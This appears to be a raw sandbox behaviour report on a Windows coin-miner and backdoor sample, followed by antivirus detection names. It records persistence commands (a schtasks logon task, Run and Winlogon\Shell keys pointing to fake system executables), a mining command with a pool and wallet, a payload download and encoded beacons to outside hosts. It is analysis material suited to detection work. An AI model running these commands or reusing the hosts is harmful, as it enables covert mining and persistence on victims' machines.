CreateProcessInternalW

thread_identifier: 1196
thread_handle: 0x00000038
process_identifier: 1040
current_directory:
filepath: C:\Users\test22\AppData\Local\AudioEngine.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\AudioEngine.exe
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 0
process_handle: 0x0000003c
1 1 0

CreateProcessInternalW

thread_identifier: 2420
thread_handle: 0x00000038
process_identifier: 1260
current_directory:
filepath: C:\Users\test22\AppData\Roaming\RealtekHD.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Roaming\RealtekHD.exe
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 0
process_handle: 0x0000003c
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: C:\Windows\System32\NOISE\lsass.exe
parameters:
filepath: C:\Windows\System32\NOISE\lsass.exe
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: cmd
parameters: /c schtasks /create /f /sc onlogon /rl highest /tn "AudioEngine" /tr '"C:\Users\test22\AppData\Roaming\AudioEngine.exe"' & exit
filepath: cmd
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: C:\Users\test22\AppData\Roaming\AudioEngine.exe
parameters:
filepath: C:\Users\test22\AppData\Roaming\AudioEngine.exe
1 1 0

CreateProcessInternalW

thread_identifier: 1772
thread_handle: 0x000000000000075c
process_identifier: 1148
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\ProgramData\VideoRecoderDriveMaster.exe" -pool eth-eu2.nanopool.org:9999 -wal 0xb8ab5056b77dbe138df2a58797562707d3c41cf5 -epsw x -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 55 -tt 79 -tstop 89 -tstart 79 -coin eth -worker 175.208.134.150
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000000000000804
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: cmd
parameters: /c schtasks /create /f /sc onlogon /rl highest /tn "AudioEngine" /tr '"C:\Users\test22\AppData\Roaming\AudioEngine.exe"' & exit
filepath: cmd
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
parameters:
filepath: C:\Users\test22\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

flags: 15
family: 0
111 0
section {u'size_of_data': u'0x0039f400', u'virtual_address': u'0x00002000', u'entropy': 6.948434077096808, u'name': u'.rdata', u'virtual_size': u'0x0039f251'} entropy 6.9484340771 description A section with a high entropy has been found
entropy 0.999057239057 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
cmdline cmd /c schtasks /create /f /sc onlogon /rl highest /tn "AudioEngine" /tr '"C:\Users\test22\AppData\Roaming\AudioEngine.exe"' & exit
cmdline schtasks /create /f /sc onlogon /rl highest /tn "AudioEngine" /tr '"C:\Users\test22\AppData\Roaming\AudioEngine.exe"'
cmdline "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "AudioEngine" /tr '"C:\Users\test22\AppData\Roaming\AudioEngine.exe"' & exit
host 176.31.32.198
host 62.109.1.30
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell reg_value explorer.exe, "C:\Windows\System32\imaadp32\spoolsv.exe"
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\spoolsv reg_value "C:\Windows\System32\imaadp32\spoolsv.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv reg_value "C:\Windows\System32\imaadp32\spoolsv.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell reg_value explorer.exe, "C:\Windows\System32\imaadp32\spoolsv.exe", "C:\Python27\NEWS\pw.exe"
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\pw reg_value "C:\Python27\NEWS\pw.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\pw reg_value "C:\Python27\NEWS\pw.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell reg_value explorer.exe, "C:\Windows\System32\imaadp32\spoolsv.exe", "C:\Python27\NEWS\pw.exe", "C:\Windows\System32\NOISE\lsass.exe"
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\lsass reg_value "C:\Windows\System32\NOISE\lsass.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass reg_value "C:\Windows\System32\NOISE\lsass.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell reg_value explorer.exe, "C:\Windows\System32\imaadp32\spoolsv.exe", "C:\Python27\NEWS\pw.exe", "C:\Windows\System32\NOISE\lsass.exe", "C:\Users\All Users\Templates\mobsync.exe"
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\mobsync reg_value "C:\Users\All Users\Templates\mobsync.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mobsync reg_value "C:\Users\All Users\Templates\mobsync.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell reg_value explorer.exe, "C:\Windows\System32\imaadp32\spoolsv.exe", "C:\Python27\NEWS\pw.exe", "C:\Windows\System32\NOISE\lsass.exe", "C:\Users\All Users\Templates\mobsync.exe", "C:\Python27\NEWS\WmiPrvSE.exe"
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE reg_value "C:\Python27\NEWS\WmiPrvSE.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE reg_value "C:\Python27\NEWS\WmiPrvSE.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell reg_value explorer.exe, "C:\Windows\System32\imaadp32\spoolsv.exe", "C:\Python27\NEWS\pw.exe", "C:\Windows\System32\NOISE\lsass.exe", "C:\Users\All Users\Templates\mobsync.exe", "C:\Python27\NEWS\WmiPrvSE.exe", "C:\Windows\System32\sdengin2\lsm.exe"
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\lsm reg_value "C:\Windows\System32\sdengin2\lsm.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsm reg_value "C:\Windows\System32\sdengin2\lsm.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell reg_value explorer.exe, "C:\Windows\System32\imaadp32\spoolsv.exe", "C:\Python27\NEWS\pw.exe", "C:\Windows\System32\NOISE\lsass.exe", "C:\Users\All Users\Templates\mobsync.exe", "C:\Python27\NEWS\WmiPrvSE.exe", "C:\Windows\System32\sdengin2\lsm.exe", "C:\PerfLogs\Admin\services.exe"
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\services reg_value "C:\PerfLogs\Admin\services.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\services reg_value "C:\PerfLogs\Admin\services.exe"
cmdline cmd /c schtasks /create /f /sc onlogon /rl highest /tn "AudioEngine" /tr '"C:\Users\test22\AppData\Roaming\AudioEngine.exe"' & exit
cmdline schtasks /create /f /sc onlogon /rl highest /tn "AudioEngine" /tr '"C:\Users\test22\AppData\Roaming\AudioEngine.exe"'
cmdline "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "AudioEngine" /tr '"C:\Users\test22\AppData\Roaming\AudioEngine.exe"' & exit
Time & API Arguments Status Return Repeated

send

buffer: GET /triggers/vm_.php?V9JL2L5tBWjPnGs3XTcD6uK=68l9j&Dk8ljd7jBYa4EX9b4TcqyURjwkzCP4k=KBT9RBgP5yRDnCqwGfESh2LsTYz8o4&e8f6de43394a8e2ef93b201a0d2ec922=c0280c4c3f572aabfa038560a3f515da&65ab24948c084368808c084126a043f5=QNkZTNzcDOwMWM5QGM4YzMyQmY2MGZmV2MmdDOjN2MiF2M5gDM2MGO&V9JL2L5tBWjPnGs3XTcD6uK=68l9j&Dk8ljd7jBYa4EX9b4TcqyURjwkzCP4k=KBT9RBgP5yRDnCqwGfESh2LsTYz8o4 HTTP/1.1 Accept: */* Content-Type: text/css User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: 62.109.1.30 Connection: Keep-Alive
socket: 1184
sent: 604
1 604 0

send

buffer: GET /VideoRecoderDriveMaster.exe HTTP/1.1 Host: 176.31.32.198 Connection: Keep-Alive
socket: 1260
sent: 90
1 90 0

send

buffer: lhaFŸ—Ó´Bñt?‘GœâNÍ»¾8ïõ'æë‘r z/5 ÀÀÀ À 28'ÿ ipinfo.io  
socket: 1372
sent: 113
1 113 0

send

buffer: plaFŸ—ª§å½ûã'¾zúº Gïú¤ÇwØÊ/bŽÅŸ/5 ÀÀÀ À 28+ÿ api.ipify.org  
socket: 620
sent: 117
1 117 0

send

buffer: FBAN¸8ŒS-¶O”Wý@ïR—ÌȾŽq]3Ðÿ˜̍=ç‹ÚNیv‹õDü€-¸ä„Êû¨ý‹,<0—Z’^ɳ>0µ†n(ÅËÐäwvTÙC¦@ÅݲZWöǼ.¤yõæSfžk
socket: 1372
sent: 134
1 134 0

send

buffer: FBA'òôx¡¹èÏԞÜöë€Ú0»‡&Tv9flk*^¦gqù' ¥ ´1MÎÌJÿЈFł^ô¹_œé1£ÜÂ0ߍ¡K¸ÁðZlÀ)…ååIû>•r_«þ7lÈdF2˜µ“µ5ùM‘<ƒ,QŁWÏ
socket: 620
sent: 134
1 134 0

send

buffer: ðÜt[ñ9ßúÃòÞÓ9ûØî°>}˜ŒXƒk?’%e·bl›Iy4œ+¡ˆqPÆ<dÈhû¥SÚÀrRŠí#9Et‚!Ê…à”‰#.¸4f§ˆ¼«Ro5»MÐí±7kâζ‰r„¼á©=ÚÙE—Dëm˘ßHþg³èCÍf†u µ8ˆ„ ñõi-‹•oVvNÁ!?æ– àýø“%ªúÄhÚÏ^–Pƒ¼²r•ü›ÙÑ+nÑKtx„îå1ë¸Ã+oϸý3" ^5R¹°¹»ŠÖ2nËo!.âkÆ$艣. >H0
socket: 1372
sent: 245
1 245 0

send

buffer: `àx$žk½°ˆèåã#.,˜'å ûm™*~’`ͯ:4zw¼Tx­¤$õ©µ›ªsœV£ªÎƒ'F Æ{þ³J¯d]êRnác¦"žŒ¤Kè6”·LŠÇ#à<I
socket: 620
sent: 101
1 101 0

send

buffer: GET /triggers/vm_.php?V9JL2L5tBWjPnGs3XTcD6uK=68l9j&Dk8ljd7jBYa4EX9b4TcqyURjwkzCP4k=KBT9RBgP5yRDnCqwGfESh2LsTYz8o4&02a02393cf420479d23438ff09302b99=jNDZkFTN2EWO4ITZiFGZ0UWYlVGZyM2NmVGM4MzNzU2Y4QjNmhDNjBDMyEjM1ETNyIDN3MTM&65ab24948c084368808c084126a043f5=wMmhDNzQjYmZTYiRzNxMTOjVWY0I2NhZWN0MTO5MGNxgjMxgjY0EmY&0c2329b9f0dc4c64441b4dcf29994306=d1nIhRDM1cjNwYmYlJzYmV2MjVmYlVjNjZ2M5cTM4YTO0QDOxgDNyI2NkJiOigDN5kTNxYTM2EzM0YTNjVmMiR2MjN2YygDO3M2MhNWYiwiI0cTM2M2Y4EDM2YTZ5IzNmZTNiRWM5ETM4YGO4IjY0YDM0czMjJWM0IiOiYGNlBjNkJGOwkDZjhjZjVjNiVDO3kzM5ETYmBjMkRGOis3W&fc24c3366cf2f1612650240a4476fd9c=QX9JiI6ISYihjZiVzYmJWM1EWMmRjY1EjYmBzMlVTOzQDO3EjM1ICLiEGNwUzN2AjZiVmMjZWZzMWZiVWN2MmZzkzNxgjN5QDN4EDO0IjY3QmI6ICO0kTO1EjNxYTMzQjN1MWZyIGZzM2YjJDO4czYzE2YhJCLiQzNxYzYjhTMwYjNlljM3YmN1IGZxkTMxgjZ4gjMiRjNwQzNzMmYxQjI6IiZ0UGM2QmY4ATOkNGOmNWN2IWN4cTOzkTMhZGMyQGZ4Iyes0nI5EjbJpXMHlEerRVTp9maJRzZU5Uaa1WTw0kaZpmVX10MJJTT5F1RaJTRyk1aGpmTsJlMOxmUtpVaO1mTsJkeO1mUql1aKlXZ2k0UZBjRHJFMohlWpdXaJlnVyoFa1cVWOJ0UihmSzoldKhUVp9maJNTOHpVdsJjVV5UVRl2dplkWKl2TpRzVhRnUXFles1WSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSzxWbkZkSp9UajVVUVp0QMlWUYF2QCNkTyEUaUxkQDJGa1IjYw50MjxmWyIWeCZUSzEUejNTOHpVdsJjVp9maJlnVtZVdsJjVpd3Uml2ZHRWMGJjW1xmMjpHbXJmd4cVY1hTbaVHbHNGc5kHT20ESjBjUIFWavpWSsFzRahmVtNWa3lWSzZ1MixmTxwEasJzYCpUaPlWVtJmdwhlW0x2Rkl2dplkMnRVT6FkaJZTSDJGaSNzY2JkbJNXSTJmdOdlWzZ1RWdWRXpVe5IzUnllaONTU6VlQKl2TpNWbjZnSDxUaRR0TzsmaMJTSU10cBpmTyUlaMNTTqlkNJlXW2hXbJNXSpVFTKl2TptmbjBTNXRmdO1WSzl0QiFTOXpFVKl2TpRjMiBHZXpVeKNETpd3VkZnVyUVavpWS1IFWhpmSDxUaBRlT4RzQOpXRqxENBpWT1VleOhXSp9UaBhVYpNnbPlGOtpVdsV0YKp0QMlWSq1EMOhlWwoUaPlWVXJGa1s2Ys5EWWl2dplERCZFT5lERWRlVFZVavpWSsFzVZ9kTFVVa3lWSzQzQOVXUqlkNJl2YspFbjxmWuNGbOxWSzlUallEZF1EN0kWTnFURJZlQxE1ZBRUTwcGVMFzaHlEcwUkVvVVbjZnTFlEcJZ0SzZ1RkVHbrlkNJNlW0ZUbUZlQxEVa3lWSDJ0QNdGMDl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEmY4YmY1MmZiFTNhFjZ0IWNxImZwMTZ1kzM0gzNxITNiwiIkRmYxUzN0kDZhRWZlRzY2UWMyEWZ2IjMmJTYyYGMhJTM1gTOhNmNjJiOigDN5kTNxYTM2EzM0YTNjVmMiR2MjN2YygDO3M2MhNWYiwiI0cTM2M2Y4EDM2YTZ5IzNmZTNiRWM5ETM4YGO4IjY0YDM0czMjJWM0IiOiYGNlBjNkJGOwkDZjhjZjVjNiVDO3kzM5ETYmBjMkRGOis3W HTTP/1.1 Accept: */* Content-Type: text/css User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: 62.109.1.30
socket: 1184
sent: 2393
1 2393 0

send

buffer: GET /triggers/vm_.php?V9JL2L5tBWjPnGs3XTcD6uK=68l9j&Dk8ljd7jBYa4EX9b4TcqyURjwkzCP4k=KBT9RBgP5yRDnCqwGfESh2LsTYz8o4&02a02393cf420479d23438ff09302b99=jNDZkFTN2EWO4ITZiFGZ0UWYlVGZyM2NmVGM4MzNzU2Y4QjNmhDNjBDMyEjM1ETNyIDN3MTM&65ab24948c084368808c084126a043f5=wMmhDNzQjYmZTYiRzNxMTOjVWY0I2NhZWN0MTO5MGNxgjMxgjY0EmY&0c2329b9f0dc4c64441b4dcf29994306=d1nIhRDM1cjNwYmYlJzYmV2MjVmYlVjNjZ2M5cTM4YTO0QDOxgDNyI2NkJiOigDN5kTNxYTM2EzM0YTNjVmMiR2MjN2YygDO3M2MhNWYiwiI0cTM2M2Y4EDM2YTZ5IzNmZTNiRWM5ETM4YGO4IjY0YDM0czMjJWM0IiOiYGNlBjNkJGOwkDZjhjZjVjNiVDO3kzM5ETYmBjMkRGOis3W&fc24c3366cf2f1612650240a4476fd9c=QX9JiI6ISYihjZiVzYmJWM1EWMmRjY1EjYmBzMlVTOzQDO3EjM1ICLiEGNwUzN2AjZiVmMjZWZzMWZiVWN2MmZzkzNxgjN5QDN4EDO0IjY3QmI6ICO0kTO1EjNxYTMzQjN1MWZyIGZzM2YjJDO4czYzE2YhJCLiQzNxYzYjhTMwYjNlljM3YmN1IGZxkTMxgjZ4gjMiRjNwQzNzMmYxQjI6IiZ0UGM2QmY4ATOkNGOmNWN2IWN4cTOzkTMhZGMyQGZ4Iyes0nI5EjbJpXMHlEerRVTp9maJRzZU5Uaa1WTw0kaZpmVX10MJJTT5F1RaJTRyk1aGpmTsJlMOxmUtpVaO1mTsJkeO1mUql1aKlXZ2k0UZBjRHJFMohlWpdXaJlnVyoFa1cVWOJ0UihmSzoldKhUVp9maJNTOHpVdsJjVV5UVRl2dplkWKl2TpRzVhRnUXFles1WSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSzxWbkZkSp9UajVVUVp0QMlWUYF2QCNkTyEUaUxkQDJGa1IjYw50MjxmWyIWeCZUSzEUejNTOHpVdsJjVp9maJlnVtZVdsJjVpd3Uml2ZHRWMGJjW1xmMjpHbXJmd4cVY1hTbaVHbHNGc5kHT20ESjBjUIFWavpWSsFzRahmVtNWa3lWSzZ1MixmTxwEasJzYCpUaPlWVtJmdwhlW0x2Rkl2dplkMnRVT6FkaJZTSDJGaSNzY2JkbJNXSTJmdOdlWzZ1RWdWRXpVe5IzUnllaONTU6VlQKl2TpNWbjZnSDxUaRR0TzsmaMJTSU10cBpmTyUlaMNTTqlkNJlXW2hXbJNXSpVFTKl2TptmbjBTNXRmdO1WSzl0QiFTOXpFVKl2TpRjMiBHZXpVeKNETpd3VkZnVyUVavpWS1IFWhpmSDxUaBRlT4RzQOpXRqxENBpWT1VleOhXSp9UaBhVYpNnbPlGOtpVdsV0YKp0QMlWSq1EMOhlWwoUaPlWVXJGa1s2Ys5EWWl2dplERCZFT5lERWRlVFZVavpWSsFzVZ9kTFVVa3lWSzQzQOVXUqlkNJl2YspFbjxmWuNGbOxWSzlUallEZF1EN0kWTnFURJZlQxE1ZBRUTwcGVMFzaHlEcwUkVvVVbjZnTFlEcJZ0SzZ1RkVHbrlkNJNlW0ZUbUZlQxEVa3lWSDJ0QNdGMDl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEmY4YmY1MmZiFTNhFjZ0IWNxImZwMTZ1kzM0gzNxITNiwiIkRmYxUzN0kDZhRWZlRzY2UWMyEWZ2IjMmJTYyYGMhJTM1gTOhNmNjJiOigDN5kTNxYTM2EzM0YTNjVmMiR2MjN2YygDO3M2MhNWYiwiI0cTM2M2Y4EDM2YTZ5IzNmZTNiRWM5ETM4YGO4IjY0YDM0czMjJWM0IiOiYGNlBjNkJGOwkDZjhjZjVjNiVDO3kzM5ETYmBjMkRGOis3W HTTP/1.1 Accept: */* Content-Type: text/css User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: 62.109.1.30
socket: 1184
sent: 2393
1 2393 0
Time & API Arguments Status Return Repeated

CreateProcessInternalW

thread_identifier: 1636
thread_handle: 0x0000000000000260
process_identifier: 1164
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\NOISE\lsass.exe
track: 1
command_line: "C:\Windows\System32\NOISE\lsass.exe"
filepath_r: C:\Windows\System32\NOISE\lsass.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000000000000050c
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: C:\Windows\System32\NOISE\lsass.exe
parameters:
filepath: C:\Windows\System32\NOISE\lsass.exe
1 1 0
Time & API Arguments Status Return Repeated

__anomaly__

tid: 1772
message: Encountered 65537 exceptions, quitting.
subcategory: exception
function_name:
1 0 0
Bkav W32.AIDetect.malware2
MicroWorld-eScan Gen:Variant.FakeAlert.2
FireEye Generic.mg.2d42f56f58a4c19d
ALYac Gen:Variant.FakeAlert.2
Cylance Unsafe
BitDefenderTheta AI:Packer.25D3FC421F
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of Win32/GenKryptik.FKHS
APEX Malicious
Kaspersky Backdoor.MSIL.LightStone.edk
BitDefender Gen:Variant.FakeAlert.2
Avast Win32:Trojan-gen
Ad-Aware Gen:Variant.FakeAlert.2
Sophos ML/PE-A
Emsisoft Gen:Variant.FakeAlert.2 (B)
GData Gen:Variant.FakeAlert.2
Avira HEUR/AGEN.1137087
Microsoft Trojan:MSIL/CoinMinerInj!MTB
Cynet Malicious (score: 100)
AhnLab-V3 Trojan/Win.Generic.R441007
MAX malware (ai score=87)
VBA32 BScope.Trojan.Nitol
Malwarebytes Trojan.Dropper
Rising Trojan.Generic@ML.87 (RDML:/Tww+eivPTzuUb1eBxs1wQ)
MaxSecure Trojan.Malware.300983.susgen
Fortinet W32/Tiny.NFR!tr
AVG Win32:Trojan-gen
Cybereason malicious.f58a4c